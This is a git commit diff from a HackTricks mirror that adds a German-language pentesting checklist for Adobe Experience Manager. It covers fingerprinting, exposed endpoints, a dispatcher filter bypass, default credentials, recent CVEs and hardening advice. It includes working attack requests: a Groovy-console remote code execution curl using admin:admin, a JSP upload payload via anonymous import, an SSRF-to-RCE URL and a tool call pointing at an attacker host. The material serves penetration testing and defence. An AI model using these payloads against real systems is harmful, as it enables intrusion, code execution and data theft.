mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
7eed5e6c9a
commit
d890db308a
@ -1,5 +1,117 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
# AEM (Adobe Experience Manager) Pentesting
|
||||||
|
|
||||||
Finden Sie Schwachstellen und Fehlkonfigurationen mit [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
> Adobe Experience Manager (AEM, Teil der Adobe Experience Cloud) ist ein Unternehmens-CMS, das auf Apache Sling/Felix (OSGi) und einem Java Content Repository (JCR) basiert.
|
||||||
|
> Aus der Perspektive eines Angreifers exponieren AEM-Instanzen sehr oft gefährliche Entwicklungsendpunkte, schwache Dispatcher-Regeln, Standardanmeldeinformationen und eine lange Liste von CVEs, die jedes Quartal gepatcht werden.
|
||||||
|
|
||||||
|
Die folgende Checkliste konzentriert sich auf **extern erreichbare (unauth) Angriffsflächen**, die in realen Engagements immer wieder auftauchen (2022-2025).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Fingerprinting
|
||||||
|
```
|
||||||
|
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||||
|
X-Content-Type-Options: nosniff
|
||||||
|
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||||
|
X-Vary: Accept-Encoding
|
||||||
|
```
|
||||||
|
Andere schnelle Indikatoren:
|
||||||
|
* `/etc.clientlibs/` statischer Pfad vorhanden (gibt JS/CSS zurück).
|
||||||
|
* `/libs/granite/core/content/login.html` Anmeldeseite mit dem Banner „Adobe Experience Manager“.
|
||||||
|
* `</script><!--/* CQ */-->` Kommentar am Ende des HTML.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Hochwertige nicht authentifizierte Endpunkte
|
||||||
|
|
||||||
|
Pfad | Was Sie erhalten | Anmerkungen
|
||||||
|
---- | ------------- | -----
|
||||||
|
`/.json`, `/.1.json` | JCR-Knoten über **DefaultGetServlet** | Oft blockiert, aber *Dispatcher-Bypass* (siehe unten) funktioniert.
|
||||||
|
`/bin/querybuilder.json?path=/` | QueryBuilder API | Leak des Seitenbaums, interner Pfade, Benutzernamen.
|
||||||
|
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix-Konsole | Standardmäßig 403; wenn exponiert & Anmeldeinformationen gefunden ⇒ Bundle-Upload RCE.
|
||||||
|
`/crx/packmgr/index.jsp` | Paketmanager | Ermöglicht authentifizierte Inhalts-Pakete → JSP-Payload-Upload.
|
||||||
|
`/etc/groovyconsole/**` | AEM Groovy-Konsole | Wenn exponiert → beliebige Groovy / Java-Ausführung.
|
||||||
|
`/libs/cq/AuditlogSearchServlet.json` | Audit-Protokolle | Informationsoffenlegung.
|
||||||
|
`/libs/cq/ui/content/dumplibs.html` | ClientLibs-Dump | XSS-Vektor.
|
||||||
|
|
||||||
|
### Dispatcher-Bypass-Trick
|
||||||
|
Die meisten Produktionsseiten befinden sich hinter dem *Dispatcher* (Reverse-Proxy). Seine Filterregeln können umgangen werden, indem eine erlaubte statische Erweiterung **nach einem Semikolon oder einem kodierten Zeilenumbruch** angehängt wird:
|
||||||
|
```
|
||||||
|
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||||
|
```
|
||||||
|
Eine einzelne Anfrage wie oben offenbart häufig Benutzerprofilknoten mit E-Mail-Adressen. P-T Partners veröffentlichte gute Hinweise zu dieser Schwäche. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Häufige Fehlkonfigurationen (immer noch aktiv im Jahr 2025)
|
||||||
|
|
||||||
|
1. **Anonymer POST-Servlet** – `POST /.json` mit `:operation=import` ermöglicht es, neue JCR-Knoten zu erstellen. Das Blockieren von `*.json` POST im Dispatcher behebt dies. 【】
|
||||||
|
2. **Weltweit lesbare Benutzerprofile** – Standard-ACL gewährt `jcr:read` auf `/home/users/**/profile/*` für alle.
|
||||||
|
3. **Standardanmeldeinformationen** – `admin:admin`, `author:author`, `replication:replication`.
|
||||||
|
4. **WCMDebugFilter** aktiviert ⇒ reflektiertes XSS über `?debug=layout` (CVE-2016-7882, immer noch bei Legacy 6.4-Installationen gefunden).
|
||||||
|
5. **Groovy-Konsole exponiert** – Remote-Code-Ausführung durch das Senden eines Groovy-Skripts:
|
||||||
|
```bash
|
||||||
|
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Jüngste Schwachstellen (Service-Pack-Taktung)
|
||||||
|
|
||||||
|
Quartal | CVE | Betroffen | Auswirkung
|
||||||
|
------- | --- | -------- | ------
|
||||||
|
Dez 2024 | **CVE-2024-43711** | 6.5.21 und früher | Unzureichende Eingangsvalidierung → **Willkürliche Codeausführung** (benötigt Authentifizierung mit niedrigen Rechten). 【】
|
||||||
|
Dez 2024 | CVE-2024-43724/26 | 6.5.21 und früher | DOM / Stored XSS im Move Page Wizard. 【】
|
||||||
|
Dez 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-basiertes XSS über eine gestaltete URL. 【】
|
||||||
|
Dez 2022 | CVE-2022-30683 | ≤ 6.5.13 | Krypto-Designfehler → geheime Entschlüsselung (benötigt Anmeldeinformationen mit niedrigen Rechten). 【】
|
||||||
|
|
||||||
|
Überprüfen Sie immer das *APSB*-Bulletin, das dem Service-Pack des Kunden entspricht, und fordern Sie das neueste **6.5.22** oder *Cloud Service 2024.11* an.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Ausnutzungs-Snippets
|
||||||
|
|
||||||
|
### 5.1 RCE über Dispatcher-Bypass + JSP-Upload
|
||||||
|
Wenn anonymes Schreiben möglich ist:
|
||||||
|
```
|
||||||
|
# 1. Create a node that will become /content/evil.jsp
|
||||||
|
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
|
:contentType=text/plain
|
||||||
|
jcr:data=<% out.println("pwned"); %>
|
||||||
|
:operation=import
|
||||||
|
```
|
||||||
|
Jetzt anfordern `/content/evil.jsp` – das JSP läuft mit dem AEM-Prozessbenutzer.
|
||||||
|
|
||||||
|
### 5.2 SSRF zu RCE (historisch < 6.3)
|
||||||
|
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||||
|
`aem_ssrf2rce.py` von **aem-hacker** automatisiert die gesamte Kette. 【】
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Tooling
|
||||||
|
|
||||||
|
* **aem-hacker** – Schweizer Taschenmesser für Enumeration, unterstützt Dispatcher-Bypass, SSRF-Erkennung, Standard-Credentials-Überprüfungen und mehr.
|
||||||
|
```bash
|
||||||
|
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||||
|
```【】
|
||||||
|
* **Content Brute-force** – rekursiv `/_jcr_content.(json|html)` anfordern, um versteckte Komponenten zu entdecken.
|
||||||
|
* **osgi-infect** – bösartiges OSGi-Bundle über `/system/console/bundles` hochladen, wenn Anmeldeinformationen verfügbar sind.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Härtungscheckliste (für die Empfehlungen Ihres Berichts)
|
||||||
|
|
||||||
|
1. Halten Sie die Instanz auf dem **neueste kumulative Servicepack** (Stand Juli 2025: 6.5.22).
|
||||||
|
2. Entfernen/rotieren Sie Standardkonten; erzwingen Sie SSO/SAML.
|
||||||
|
3. Verschärfen Sie die **Dispatcher-Filter** – verweigern Sie `;`, kodierte Zeilenumbrüche und `*.json` oder `*.querybuilder.json` für anonyme Benutzer.
|
||||||
|
4. Deaktivieren oder schützen Sie Konsolen (`/system/console`, `/crx/*`, `/etc/groovyconsole`) mit IP-Whitelist.
|
||||||
|
5. Wenden Sie das *Anonymous Permission Hardening*-Paket an, das von Adobe bereitgestellt wird.
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* Adobe Security Bulletin APSB24-69 – „Sicherheitsupdates für Adobe Experience Manager (Dez 2024)“.
|
||||||
|
* 0ang3el – aem-hacker Tool (GitHub).
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user